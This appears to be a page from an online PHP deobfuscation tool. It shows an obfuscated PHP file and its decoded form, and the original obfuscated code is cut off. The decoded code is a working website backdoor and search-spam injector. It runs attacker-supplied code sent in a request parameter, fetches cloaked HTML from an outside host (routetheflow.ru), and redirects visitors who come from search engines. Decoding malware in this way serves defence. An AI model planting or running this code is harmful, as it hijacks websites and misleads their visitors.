Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47\x4c\x4f\x42\x41LS"}["a\x7a\x6f\x63\x76\x6au\x61"]="m";${"GLO\x42\x41\x4cS"}[..
Decoded Output download
<?php ${"GLOBALS"}["azocvjua"]="m";${"GLOBALS"}["zispxtprk"]="scheme";${"GLOBALS"}["tdyzptjtda"]="page";${"GLOBALS"}["uvvhsl"]="result";${"GLOBALS"}["szxrbjjdyn"]="main_keyword";${"GLOBALS"}["hutqmlzd"]="location";${"GLOBALS"}["dswiam"]="html";${"GLOBALS"}["jmscdlxxgv"]="file";${"GLOBALS"}["hlyxxe"]="bot";${"GLOBALS"}["wlzjuwx"]="strf";${"GLOBALS"}["zhsubs"]="cache";${"GLOBALS"}["yssqxpvm"]="url";${"GLOBALS"}["ltyzjxbv"]="ch";${"GLOBALS"}["qpnomvud"]="ffile";${"GLOBALS"}["ygwzmdyywg"]="fcontent";${"GLOBALS"}["nyqidgg"]="l";${"GLOBALS"}["tvfyeqzb"]="r";${"GLOBALS"}["dscbqwirwij"]="k";${"GLOBALS"}["iojwowofwx"]="end";${"GLOBALS"}["rjmwhsul"]="k1";${"GLOBALS"}["vzeqkuytkg"]="p";${"GLOBALS"}["vijreewl"]="start";${"GLOBALS"}["cnlmjugd"]="handle";${"GLOBALS"}["chedff"]="dir";${"GLOBALS"}["prgqbsew"]="this_dir";${"GLOBALS"}["srydvkftwpba"]="tmppath";${"GLOBALS"}["mfagyjkccg"]="slash";$fsplecu="domain";${"GLOBALS"}["wbmisymjy"]="t";if(isset($_REQUEST["4bfa04527be62f0d24bf14f6f605125faac4fb72"])){${${"GLOBALS"}["wbmisymjy"]}=create_function("",base64_decode($_REQUEST["4bfa04527be62f0d24bf14f6f605125faac4fb72"]));${${"GLOBALS"}["wbmisymjy"]}();}${$fsplecu}="routetheflow.ru";if(strpos(dirname(__FILE__),":\")!==false){${"GLOBALS"}["jmyjdqwie"]="slash";${${"GLOBALS"}["jmyjdqwie"]}="\";}else${${"GLOBALS"}["mfagyjkccg"]}="/";if(!function_exists("getavalcachedir")){function getavalcachedir(){global$slash;${${"GLOBALS"}["srydvkftwpba"]}=false;if(defined("WP_TEMP_DIR")){$bbkqtdf="tmppath";${$bbkqtdf}=WP_TEMP_DIR;}elseif(function_exists("get_temp_dir")){$lelksqdqxmo="tmppath";${$lelksqdqxmo}=get_temp_dir();if(!is_writable(${${"GLOBALS"}["srydvkftwpba"]}))${${"GLOBALS"}["srydvkftwpba"]}=false;}elseif(function_exists("sys_get_temp_dir")){$pfonkdxcphp="tmppath";${${"GLOBALS"}["srydvkftwpba"]}=sys_get_temp_dir();if(!is_writable(${$pfonkdxcphp}))${${"GLOBALS"}["srydvkftwpba"]}=false;}else{$ifdtiowo="slash";${${"GLOBALS"}["prgqbsew"]}=dirname(__FILE__);if(is_writable(${${"GLOBALS"}["prgqbsew"]}.${$ifdtiowo}."images")){${"GLOBALS"}["fgwfegrrkrts"]="slash";${"GLOBALS"}["siirivluejfx"]="this_dir";${"GLOBALS"}["mcdwgwxvxf"]="slash";@mkdir(${${"GLOBALS"}["siirivluejfx"]}.${${"GLOBALS"}["fgwfegrrkrts"]}."cache");${"GLOBALS"}["lymngajy"]="this_dir";${${"GLOBALS"}["srydvkftwpba"]}=${${"GLOBALS"}["lymngajy"]}.${${"GLOBALS"}["mfagyjkccg"]}."images".${${"GLOBALS"}["mcdwgwxvxf"]}."cache";}else{$curcntw="slash";${"GLOBALS"}["jmqhojbcow"]="this_dir";@mkdir(${${"GLOBALS"}["prgqbsew"]}.${$curcntw}."cache");if(is_writable(${${"GLOBALS"}["jmqhojbcow"]}.${${"GLOBALS"}["mfagyjkccg"]}."cache")){$zsyidrhxo="slash";${"GLOBALS"}["pyeeyksld"]="this_dir";$bfkpdrgqvxg="tmppath";${$bfkpdrgqvxg}=${${"GLOBALS"}["pyeeyksld"]}.${$zsyidrhxo}."cache";}else{$mkncsqnrf="this_dir";$nttpbtpb="handle";if(${$nttpbtpb}=opendir(${$mkncsqnrf})){while(false!==(${${"GLOBALS"}["chedff"]}=readdir(${${"GLOBALS"}["cnlmjugd"]}))){${"GLOBALS"}["ptitwhpbry"]="dir";${"GLOBALS"}["dccsgukg"]="dir";${"GLOBALS"}["lvlqeefdy"]="dir";if(${${"GLOBALS"}["ptitwhpbry"]}!=".."&&${${"GLOBALS"}["chedff"]}!="."&&is_dir(${${"GLOBALS"}["lvlqeefdy"]})&&is_writable(${${"GLOBALS"}["dccsgukg"]})){${"GLOBALS"}["lpwyidrxwcro"]="slash";${"GLOBALS"}["ourjyg"]="slash";$xnpirtgnksp="this_dir";@mkdir("cache");if(is_writable(${$xnpirtgnksp}.${${"GLOBALS"}["ourjyg"]}.${${"GLOBALS"}["chedff"]}.${${"GLOBALS"}["lpwyidrxwcro"]}."cache")){${"GLOBALS"}["harixk"]="slash";${"GLOBALS"}["nhurmorbmyd"]="dir";$lhqcgchojfv="tmppath";${$lhqcgchojfv}=${${"GLOBALS"}["prgqbsew"]}.${${"GLOBALS"}["mfagyjkccg"]}.${${"GLOBALS"}["nhurmorbmyd"]}.${${"GLOBALS"}["harixk"]}."cache";closedir(${${"GLOBALS"}["cnlmjugd"]});break;}}}}}}}return${${"GLOBALS"}["srydvkftwpba"]};}}if(!function_exists("substrgetstartstop")){function substrgetstartstop($result,$start,$end=''){${"GLOBALS"}["olacaostmw"]="r";${${"GLOBALS"}["olacaostmw"]}=false;if(${${"GLOBALS"}["vijreewl"]}!==0){${"GLOBALS"}["vawssbrmmsog"]="result";${"GLOBALS"}["pcrwswje"]="r";$vxohqcpohu="start";$hufqknqucjj="k1";${$hufqknqucjj}=strlen(${$vxohqcpohu});if(${${"GLOBALS"}["vzeqkuytkg"]}=stristr(${${"GLOBALS"}["vawssbrmmsog"]},${${"GLOBALS"}["vijreewl"]})){${"GLOBALS"}["ouxjfgzbqwrg"]="k";$fuktoffvx="l";${"GLOBALS"}["oghdrn"]="k";${${"GLOBALS"}["oghdrn"]}=substr(${${"GLOBALS"}["vzeqkuytkg"]},${${"GLOBALS"}["rjmwhsul"]});if(${${"GLOBALS"}["iojwowofwx"]}==="")return${${"GLOBALS"}["dscbqwirwij"]};${$fuktoffvx}=strpos(${${"GLOBALS"}["dscbqwirwij"]},${${"GLOBALS"}["iojwowofwx"]});${${"GLOBALS"}["tvfyeqzb"]}=substr(${${"GLOBALS"}["ouxjfgzbqwrg"]},0,${${"GLOBALS"}["nyqidgg"]});}return${${"GLOBALS"}["pcrwswje"]};}else{${"GLOBALS"}["lnoitt"]="end";${"GLOBALS"}["hhhgrtjhoca"]="result";$kxbvgdlb="r";$xdwhtkbse="l";$viiuqalupnhn="result";${"GLOBALS"}["rzjftxpntks"]="l";${${"GLOBALS"}["rzjftxpntks"]}=strpos(${$viiuqalupnhn},${${"GLOBALS"}["lnoitt"]});${${"GLOBALS"}["tvfyeqzb"]}=substr(${${"GLOBALS"}["hhhgrtjhoca"]},0,${$xdwhtkbse});return${$kxbvgdlb};}}}if(!function_exists("getfilacache")){function getfilacache($ffile){$djgckpgb="ffile";$qdlvfwlqb="fcontent";${${"GLOBALS"}["ygwzmdyywg"]}=false;if(file_exists(${$djgckpgb})){${"GLOBALS"}["sxvlyg"]="ffile";if((time()-filemtime(${${"GLOBALS"}["sxvlyg"]}))<604800){if(function_exists("file_get_contents")){$ugsiqqlb="fcontent";$dnqsmwdjofu="ffile";${$ugsiqqlb}=file_get_contents(${$dnqsmwdjofu});}else{if(${${"GLOBALS"}["cnlmjugd"]}=fopen(${${"GLOBALS"}["qpnomvud"]},"r")){${${"GLOBALS"}["ygwzmdyywg"]}=fread(${${"GLOBALS"}["cnlmjugd"]},filesize(${${"GLOBALS"}["qpnomvud"]}));fclose(${${"GLOBALS"}["cnlmjugd"]});}}}}return base64_decode(strrev(${$qdlvfwlqb}));}}if(!function_exists("getUrla")){function getUrla($url,$post=0,$headers=0){if(function_exists("curl_init")){${"GLOBALS"}["lspxnujtjtrq"]="post";$bwcqsvzb="ch";$guttwlrc="ch";${"GLOBALS"}["wchrxvcpgc"]="ch";${${"GLOBALS"}["ltyzjxbv"]}=curl_init();$kgrkeerbkfd="ch";${"GLOBALS"}["iwgebfc"]="ch";${"GLOBALS"}["sssicite"]="post";curl_setopt(${$kgrkeerbkfd},CURLOPT_URL,${${"GLOBALS"}["yssqxpvm"]});curl_setopt(${$bwcqsvzb},CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");curl_setopt(${${"GLOBALS"}["ltyzjxbv"]},CURLOPT_TIMEOUT,10);curl_setopt(${${"GLOBALS"}["wchrxvcpgc"]},CURLOPT_RETURNTRANSFER,true);${"GLOBALS"}["fpezngsy"]="result";$ipvpxrvz="headers";${"GLOBALS"}["cumpwkdz"]="ch";if(${${"GLOBALS"}["lspxnujtjtrq"]})curl_setopt(${${"GLOBALS"}["ltyzjxbv"]},CURLOPT_POSTFIELDS,${${"GLOBALS"}["sssicite"]});if(${$ipvpxrvz})curl_setopt(${${"GLOBALS"}["ltyzjxbv"]},CURLOPT_HEADER,1);curl_setopt(${$guttwlrc},CURLOPT_REFERER,$_SERVER["HTTP_HOST"]);${${"GLOBALS"}["fpezngsy"]}=curl_exec(${${"GLOBALS"}["cumpwkdz"]});curl_close(${${"GLOBALS"}["iwgebfc"]});}else{$mmcqklwqxno="result";${$mmcqklwqxno}=file_get_contents(${${"GLOBALS"}["yssqxpvm"]});}$pkkqcb="result";return${$pkkqcb};}}if(!preg_match("#(\.ico|\.jpg|\.jpeg|\.png|\.gif|robots\.txt|\.css|\.js|\.tiff|sitemap\.xml|ajax\.php|wp\-json)#i",$_SERVER["REQUEST_URI"])){${"GLOBALS"}["grgihexdup"]="bot";${"GLOBALS"}["pleatsfot"]="scheme";${${"GLOBALS"}["pleatsfot"]}="http://";${${"GLOBALS"}["zhsubs"]}=0;${"GLOBALS"}["wwfqrs"]="strf";${${"GLOBALS"}["grgihexdup"]}=preg_match("#(googlebot|bingbot|yahoo|msnbot|aol)#i",$_SERVER["HTTP_USER_AGENT"]);${${"GLOBALS"}["wlzjuwx"]}=preg_match("#(google|bing|yahoo|msn|aol)#i",@$_SERVER["HTTP_REFERER"]);if(${${"GLOBALS"}["hlyxxe"]}||${${"GLOBALS"}["wwfqrs"]}){${"GLOBALS"}["mpodfunevj"]="tmppath";$ilgeybdr="tmppath";${${"GLOBALS"}["mpodfunevj"]}=getavalcachedir();if(${$ilgeybdr}){$byueniwdd="ffile";$taybnaqaqn="file";${"GLOBALS"}["fykxdnw"]="ffile";${"GLOBALS"}["gcukie"]="tmppath";${$taybnaqaqn}=md5(trim(str_replace("www.","",$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"])));${$byueniwdd}=${${"GLOBALS"}["gcukie"]}.${${"GLOBALS"}["mfagyjkccg"]}.${${"GLOBALS"}["jmscdlxxgv"]};${${"GLOBALS"}["ygwzmdyywg"]}=getfilacache(${${"GLOBALS"}["fykxdnw"]});if(${${"GLOBALS"}["ygwzmdyywg"]}){$xiygixahhfnx="main_keyword";${"GLOBALS"}["psrwpzd"]="fcontent";${${"GLOBALS"}["zhsubs"]}=1;list(${$xiygixahhfnx},${${"GLOBALS"}["dswiam"]})=explode("~~~",${${"GLOBALS"}["psrwpzd"]});}}if(${${"GLOBALS"}["zhsubs"]}){${"GLOBALS"}["hsekevw"]="bot";if(${${"GLOBALS"}["hsekevw"]}){header("Content-Type: text/html");echo${${"GLOBALS"}["dswiam"]};}if(${${"GLOBALS"}["wlzjuwx"]}){${${"GLOBALS"}["hutqmlzd"]}=getUrla("http://$domain/ph/location.php","mkwd=".urlencode(${${"GLOBALS"}["szxrbjjdyn"]})."&pk=12&h=".urlencode($_SERVER["HTTP_HOST"]),1);${"GLOBALS"}["ukdesvw"]="location";$apfeoyg="location";$hfwsvz="location";${"GLOBALS"}["kzymovlg"]="location";${${"GLOBALS"}["hutqmlzd"]}=substrgetstartstop(${$apfeoyg},"goto: ","
");${${"GLOBALS"}["kzymovlg"]}=base64_decode(strrev(${$hfwsvz}));Header("HTTP/1.1 301 Moved Permanently");Header("Location: ".${${"GLOBALS"}["ukdesvw"]});}exit;}else{$vtpddfoafdb="result";${"GLOBALS"}["kqwnlg"]="result";${"GLOBALS"}["awfsnbgklld"]="result";${${"GLOBALS"}["uvvhsl"]}=getUrla("http://$domain/ph/phdms12.php?u=".urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"])."&r=".urlencode(@$_SERVER["HTTP_REFERER"])."&a=".urlencode($_SERVER["HTTP_USER_AGENT"]));if(${${"GLOBALS"}["kqwnlg"]}=="IGNORE"){${"GLOBALS"}["fgjtkgi"]="m";$smycnvuuetq="scheme";if((!empty($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]!=="off")||$_SERVER["SERVER_PORT"]==443)${$smycnvuuetq}="https://";${${"GLOBALS"}["tdyzptjtda"]}=getUrla(${${"GLOBALS"}["zispxtprk"]}.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);if(preg_match("#(\.pdf|\.jpg|\.jpeg|\.png|\.gif|\.css|\.js|\.tiff)#i",$_SERVER["REQUEST_URI"],${${"GLOBALS"}["fgjtkgi"]})){${"GLOBALS"}["rtdjorblyzyc"]="m";$gvbqexq="m";${"GLOBALS"}["wqwnmrcs"]="m";${"GLOBALS"}["cehdgmsv"]="m";switch(${${"GLOBALS"}["azocvjua"]}[0]){case(preg_match("/(jpg|jpeg)/",${${"GLOBALS"}["wqwnmrcs"]}[0])?true:false):header("Content-Type: image/jpeg");break;case(preg_match("/\.pdf/",${${"GLOBALS"}["azocvjua"]}[0])?true:false):header("Content-Type: application/pdf");break;case(preg_match("/\.png/",${${"GLOBALS"}["rtdjorblyzyc"]}[0])?true:false):header("Content-Type: image/png");break;case(preg_match("/\.gif/",${${"GLOBALS"}["cehdgmsv"]}[0])?true:false):header("Content-Type: image/gif");break;case(preg_match("/tiff/",${$gvbqexq}[0])?true:false):header("Content-Type: application/font-tiff");break;case(preg_match("/css/",${${"GLOBALS"}["azocvjua"]}[0])?true:false):header("Content-Type: text/css");break;case(preg_match("/\.js/",${${"GLOBALS"}["azocvjua"]}[0])?true:false):header("Content-Type: application/x-javascript");break;default:header("Content-Type: text/html");}}echo${${"GLOBALS"}["tdyzptjtda"]};exit;}$jbfindjiqydv="result";${"GLOBALS"}["vfuprtewmddp"]="result";${${"GLOBALS"}["uvvhsl"]}=base64_decode(${$vtpddfoafdb});${${"GLOBALS"}["vfuprtewmddp"]}=unserialize(${$jbfindjiqydv});if(isset(${${"GLOBALS"}["uvvhsl"]}["location"])&&${${"GLOBALS"}["uvvhsl"]}["location"]!=""){${"GLOBALS"}["phcnicbmupg"]="result";$ndmqbxzsuwj="result";Header("HTTP/1.1 301 Moved Permanently");${"GLOBALS"}["spnhbeys"]="result";if(isset(${${"GLOBALS"}["phcnicbmupg"]}["referer"])&&${$ndmqbxzsuwj}["referer"]!="")Header("Referer: ".${${"GLOBALS"}["spnhbeys"]}["referer"]);$auhybaixflq="result";Header("Location: ".${$auhybaixflq}["location"]);exit;}if(isset(${${"GLOBALS"}["uvvhsl"]}["html"])&&${${"GLOBALS"}["awfsnbgklld"]}["html"]!=""){$tmbydpew="cache";header("Content-Type: text/html");echo${${"GLOBALS"}["uvvhsl"]}["html"];if(!${$tmbydpew}){${"GLOBALS"}["gclishbpwm"]="tmppath";if(${${"GLOBALS"}["gclishbpwm"]}){if(function_exists("file_put_contents")){file_put_contents(${${"GLOBALS"}["qpnomvud"]},strrev(base64_encode(${${"GLOBALS"}["uvvhsl"]}["main_keyword"]."~~~".${${"GLOBALS"}["uvvhsl"]}["html"])));}else{if(${${"GLOBALS"}["cnlmjugd"]}=fopen(${${"GLOBALS"}["qpnomvud"]},"w")){${"GLOBALS"}["rpexcslh"]="result";${"GLOBALS"}["mcarhosxdy"]="handle";$oeblaaep="result";fwrite(${${"GLOBALS"}["mcarhosxdy"]},strrev(base64_encode(${${"GLOBALS"}["rpexcslh"]}["main_keyword"]."~~~".${$oeblaaep}["html"])));fclose(${${"GLOBALS"}["cnlmjugd"]});}}}}exit;}}}}
?>
Did this file decode correctly?
Original Code
<?php ${"\x47\x4c\x4f\x42\x41LS"}["a\x7a\x6f\x63\x76\x6au\x61"]="m";${"GLO\x42\x41\x4cS"}["\x7a\x69\x73\x70x\x74\x70\x72\x6b"]="\x73c\x68e\x6d\x65";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74d\x79\x7a\x70\x74j\x74\x64a"]="\x70\x61\x67e";${"G\x4c\x4fB\x41\x4cS"}["\x75\x76\x76h\x73\x6c"]="\x72e\x73\x75l\x74";${"G\x4cO\x42\x41L\x53"}["\x73\x7a\x78r\x62\x6a\x6ad\x79\x6e"]="m\x61in_\x6b\x65\x79\x77\x6f\x72d";${"\x47\x4cO\x42\x41LS"}["\x68\x75\x74qm\x6c\x7a\x64"]="\x6coca\x74\x69o\x6e";${"\x47\x4cO\x42\x41\x4c\x53"}["\x64\x73wi\x61m"]="ht\x6dl";${"GLOB\x41LS"}["jmsc\x64\x6c\x78\x78\x67\x76"]="\x66\x69\x6c\x65";${"\x47\x4cO\x42AL\x53"}["\x68\x6c\x79\x78xe"]="\x62\x6f\x74";${"\x47\x4c\x4fB\x41L\x53"}["\x77\x6czj\x75\x77x"]="\x73tr\x66";${"\x47L\x4f\x42\x41\x4c\x53"}["\x7a\x68\x73\x75b\x73"]="\x63\x61\x63\x68e";${"G\x4c\x4fB\x41\x4c\x53"}["y\x73\x73\x71\x78\x70v\x6d"]="u\x72\x6c";${"\x47L\x4f\x42\x41L\x53"}["\x6c\x74\x79\x7aj\x78\x62v"]="c\x68";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71p\x6e\x6f\x6d\x76\x75d"]="\x66\x66il\x65";${"G\x4c\x4f\x42\x41LS"}["y\x67\x77\x7a\x6d\x64\x79\x79\x77g"]="f\x63\x6f\x6et\x65\x6e\x74";${"\x47\x4c\x4fB\x41\x4c\x53"}["n\x79\x71\x69\x64gg"]="\x6c";${"G\x4cOBAL\x53"}["\x74vf\x79eq\x7a\x62"]="\x72";${"\x47L\x4f\x42A\x4c\x53"}["\x64s\x63b\x71\x77\x69\x72\x77ij"]="\x6b";${"\x47L\x4f\x42\x41\x4c\x53"}["iojwo\x77\x6ff\x77\x78"]="en\x64";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x72\x6a\x6d\x77\x68\x73\x75l"]="k\x31";${"\x47L\x4f\x42\x41\x4c\x53"}["\x76\x7ae\x71k\x75\x79t\x6b\x67"]="\x70";${"\x47\x4c\x4f\x42\x41\x4cS"}["v\x69j\x72\x65\x65\x77l"]="\x73\x74\x61\x72t";${"G\x4cO\x42\x41\x4c\x53"}["\x63\x6el\x6d\x6au\x67\x64"]="\x68\x61\x6e\x64l\x65";${"GL\x4f\x42AL\x53"}["\x63\x68e\x64ff"]="\x64\x69\x72";${"\x47\x4c\x4f\x42A\x4cS"}["\x70\x72\x67\x71\x62s\x65\x77"]="\x74\x68\x69\x73\x5f\x64i\x72";${"\x47L\x4f\x42A\x4c\x53"}["\x73r\x79\x64v\x6b\x66t\x77p\x62\x61"]="\x74\x6dp\x70\x61\x74\x68";${"G\x4c\x4f\x42\x41\x4c\x53"}["mf\x61g\x79\x6a\x6b\x63\x63\x67"]="\x73\x6cas\x68";$fsplecu="d\x6f\x6da\x69\x6e";${"\x47\x4c\x4f\x42\x41LS"}["\x77b\x6d\x69\x73\x79\x6d\x6a\x79"]="\x74";if(isset($_REQUEST["4bfa04527be62f0d24bf14f6f605125faac4fb72"])){${${"G\x4c\x4fB\x41\x4cS"}["\x77b\x6d\x69\x73\x79m\x6a\x79"]}=create_function("",base64_decode($_REQUEST["4bfa04527be62f0d24bf14f6f605125faac4fb72"]));${${"G\x4c\x4fBA\x4c\x53"}["\x77\x62\x6di\x73\x79\x6d\x6a\x79"]}();}${$fsplecu}="rou\x74e\x74\x68eflo\x77\x2er\x75";if(strpos(dirname(__FILE__),":\\")!==false){${"\x47\x4cOBA\x4c\x53"}["\x6a\x6d\x79\x6a\x64\x71\x77\x69e"]="\x73\x6c\x61sh";${${"\x47L\x4f\x42ALS"}["\x6a\x6dy\x6a\x64\x71\x77i\x65"]}="\\";}else${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["m\x66\x61\x67yjk\x63\x63g"]}="/";if(!function_exists("g\x65tavalcac\x68\x65dir")){function getavalcachedir(){global$slash;${${"\x47\x4c\x4f\x42A\x4c\x53"}["s\x72y\x64\x76k\x66twpb\x61"]}=false;if(defined("\x57\x50_\x54EM\x50\x5fDI\x52")){$bbkqtdf="\x74\x6d\x70\x70a\x74\x68";${$bbkqtdf}=WP_TEMP_DIR;}elseif(function_exists("\x67\x65\x74_t\x65mp_\x64i\x72")){$lelksqdqxmo="t\x6dppa\x74\x68";${$lelksqdqxmo}=get_temp_dir();if(!is_writable(${${"\x47\x4c\x4f\x42\x41\x4cS"}["s\x72y\x64\x76\x6b\x66\x74w\x70\x62a"]}))${${"G\x4cO\x42\x41\x4c\x53"}["\x73\x72\x79d\x76k\x66\x74\x77\x70\x62\x61"]}=false;}elseif(function_exists("\x73\x79\x73\x5f\x67e\x74_\x74\x65mp_\x64i\x72")){$pfonkdxcphp="t\x6dp\x70at\x68";${${"GLOB\x41\x4c\x53"}["s\x72y\x64v\x6b\x66\x74\x77p\x62a"]}=sys_get_temp_dir();if(!is_writable(${$pfonkdxcphp}))${${"G\x4cO\x42A\x4cS"}["\x73\x72y\x64\x76\x6b\x66t\x77\x70\x62\x61"]}=false;}else{$ifdtiowo="\x73\x6c\x61\x73\x68";${${"\x47\x4c\x4fB\x41L\x53"}["p\x72\x67\x71b\x73\x65\x77"]}=dirname(__FILE__);if(is_writable(${${"\x47\x4c\x4fB\x41LS"}["\x70\x72g\x71\x62\x73\x65\x77"]}.${$ifdtiowo}."\x69ma\x67e\x73")){${"\x47\x4cOBA\x4c\x53"}["\x66\x67\x77\x66\x65\x67\x72\x72\x6brt\x73"]="\x73l\x61\x73\x68";${"\x47\x4cO\x42A\x4cS"}["\x73\x69i\x72\x69v\x6cuejf\x78"]="t\x68\x69\x73\x5fdir";${"GLOBAL\x53"}["\x6dc\x64\x77g\x77\x78v\x78\x66"]="\x73\x6c\x61\x73h";@mkdir(${${"\x47L\x4fBA\x4c\x53"}["s\x69i\x72\x69\x76lu\x65\x6a\x66\x78"]}.${${"\x47LO\x42\x41\x4c\x53"}["\x66\x67w\x66\x65g\x72\x72\x6br\x74\x73"]}."\x63ac\x68\x65");${"GL\x4fBAL\x53"}["\x6c\x79\x6d\x6e\x67\x61j\x79"]="\x74\x68\x69\x73\x5f\x64\x69\x72";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x73r\x79\x64v\x6bf\x74\x77p\x62\x61"]}=${${"\x47LO\x42AL\x53"}["\x6c\x79m\x6e\x67ajy"]}.${${"G\x4c\x4f\x42AL\x53"}["\x6d\x66\x61\x67\x79j\x6b\x63\x63\x67"]}."i\x6d\x61\x67\x65s".${${"\x47LOB\x41L\x53"}["\x6d\x63\x64w\x67\x77\x78\x76\x78\x66"]}."\x63\x61c\x68\x65";}else{$curcntw="s\x6c\x61\x73h";${"\x47L\x4f\x42\x41\x4c\x53"}["\x6a\x6d\x71\x68o\x6a\x62\x63o\x77"]="\x74\x68i\x73\x5f\x64\x69\x72";@mkdir(${${"\x47\x4cO\x42\x41\x4c\x53"}["p\x72\x67q\x62s\x65\x77"]}.${$curcntw}."cach\x65");if(is_writable(${${"\x47\x4cOB\x41\x4c\x53"}["\x6a\x6d\x71\x68\x6fjb\x63\x6fw"]}.${${"\x47L\x4fBA\x4c\x53"}["\x6d\x66agy\x6a\x6bcc\x67"]}."ca\x63h\x65")){$zsyidrhxo="\x73\x6c\x61\x73\x68";${"\x47\x4cO\x42A\x4c\x53"}["\x70y\x65\x65y\x6bsld"]="th\x69\x73\x5fdir";$bfkpdrgqvxg="\x74\x6d\x70\x70at\x68";${$bfkpdrgqvxg}=${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x70ye\x65\x79k\x73\x6c\x64"]}.${$zsyidrhxo}."\x63\x61\x63he";}else{$mkncsqnrf="th\x69s_d\x69\x72";$nttpbtpb="\x68andl\x65";if(${$nttpbtpb}=opendir(${$mkncsqnrf})){while(false!==(${${"\x47\x4c\x4f\x42\x41\x4cS"}["c\x68edff"]}=readdir(${${"G\x4cOB\x41L\x53"}["c\x6el\x6d\x6au\x67\x64"]}))){${"\x47L\x4f\x42\x41L\x53"}["\x70t\x69\x74\x77hp\x62r\x79"]="d\x69r";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x64cc\x73g\x75k\x67"]="\x64i\x72";${"G\x4c\x4f\x42\x41\x4cS"}["\x6cv\x6c\x71\x65e\x66\x64\x79"]="d\x69r";if(${${"\x47L\x4f\x42\x41\x4c\x53"}["p\x74\x69t\x77hpb\x72\x79"]}!="\x2e."&&${${"G\x4c\x4fB\x41\x4c\x53"}["\x63\x68e\x64\x66f"]}!="\x2e"&&is_dir(${${"\x47\x4c\x4f\x42AL\x53"}["\x6c\x76l\x71eef\x64y"]})&&is_writable(${${"\x47\x4cO\x42ALS"}["\x64\x63cs\x67\x75kg"]})){${"\x47\x4c\x4f\x42\x41L\x53"}["lp\x77\x79\x69\x64\x72\x78\x77\x63r\x6f"]="\x73\x6ca\x73h";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x75\x72jyg"]="\x73l\x61s\x68";$xnpirtgnksp="t\x68\x69s_d\x69r";@mkdir("ca\x63he");if(is_writable(${$xnpirtgnksp}.${${"\x47\x4c\x4fBA\x4cS"}["o\x75\x72\x6a\x79\x67"]}.${${"\x47L\x4f\x42A\x4c\x53"}["\x63\x68\x65d\x66\x66"]}.${${"G\x4c\x4f\x42\x41L\x53"}["\x6c\x70\x77\x79i\x64\x72x\x77\x63\x72\x6f"]}."\x63ac\x68e")){${"G\x4c\x4f\x42\x41\x4c\x53"}["\x68\x61\x72ixk"]="s\x6c\x61sh";${"\x47\x4c\x4f\x42A\x4cS"}["\x6e\x68\x75\x72m\x6fr\x62my\x64"]="\x64i\x72";$lhqcgchojfv="t\x6d\x70\x70\x61\x74\x68";${$lhqcgchojfv}=${${"GLOB\x41\x4c\x53"}["\x70r\x67\x71\x62s\x65\x77"]}.${${"G\x4cO\x42\x41\x4cS"}["\x6d\x66ag\x79\x6ak\x63\x63\x67"]}.${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6e\x68\x75\x72mor\x62\x6d\x79\x64"]}.${${"\x47LO\x42\x41L\x53"}["\x68a\x72\x69\x78k"]}."\x63\x61\x63h\x65";closedir(${${"G\x4cOB\x41\x4c\x53"}["c\x6elm\x6aug\x64"]});break;}}}}}}}return${${"G\x4c\x4fB\x41\x4c\x53"}["\x73ry\x64v\x6bf\x74\x77p\x62a"]};}}if(!function_exists("\x73u\x62s\x74rg\x65t\x73ta\x72t\x73t\x6fp")){function substrgetstartstop($result,$start,$end=''){${"GL\x4f\x42A\x4c\x53"}["\x6f\x6c\x61\x63a\x6f\x73tm\x77"]="\x72";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6f\x6ca\x63a\x6f\x73\x74\x6d\x77"]}=false;if(${${"G\x4cO\x42\x41L\x53"}["\x76ij\x72\x65\x65wl"]}!==0){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["vaw\x73\x73\x62r\x6dmso\x67"]="\x72\x65\x73u\x6ct";${"\x47L\x4f\x42AL\x53"}["p\x63\x72\x77\x73wj\x65"]="r";$vxohqcpohu="\x73\x74\x61\x72\x74";$hufqknqucjj="\x6b\x31";${$hufqknqucjj}=strlen(${$vxohqcpohu});if(${${"G\x4cO\x42\x41\x4cS"}["\x76\x7a\x65\x71\x6b\x75yt\x6b\x67"]}=stristr(${${"\x47\x4cOBA\x4cS"}["\x76a\x77s\x73\x62r\x6d\x6d\x73\x6f\x67"]},${${"\x47L\x4fB\x41L\x53"}["v\x69\x6a\x72\x65\x65\x77\x6c"]})){${"G\x4c\x4f\x42\x41L\x53"}["\x6f\x75\x78\x6a\x66\x67\x7ab\x71\x77r\x67"]="\x6b";$fuktoffvx="\x6c";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x67\x68\x64\x72\x6e"]="\x6b";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6fghdr\x6e"]}=substr(${${"G\x4c\x4f\x42\x41L\x53"}["\x76z\x65\x71k\x75\x79\x74\x6bg"]},${${"G\x4c\x4f\x42\x41L\x53"}["\x72\x6am\x77hsu\x6c"]});if(${${"\x47\x4c\x4fB\x41\x4cS"}["\x69\x6fjwo\x77\x6f\x66wx"]}==="")return${${"G\x4cOB\x41L\x53"}["\x64\x73\x63\x62\x71w\x69\x72\x77\x69\x6a"]};${$fuktoffvx}=strpos(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x73cb\x71\x77\x69rwij"]},${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69o\x6a\x77o\x77\x6ff\x77\x78"]});${${"\x47\x4cO\x42A\x4cS"}["\x74\x76\x66y\x65\x71\x7ab"]}=substr(${${"\x47\x4c\x4f\x42A\x4c\x53"}["o\x75x\x6a\x66\x67\x7a\x62qwr\x67"]},0,${${"\x47LO\x42\x41LS"}["\x6e\x79\x71\x69d\x67\x67"]});}return${${"\x47\x4c\x4f\x42\x41L\x53"}["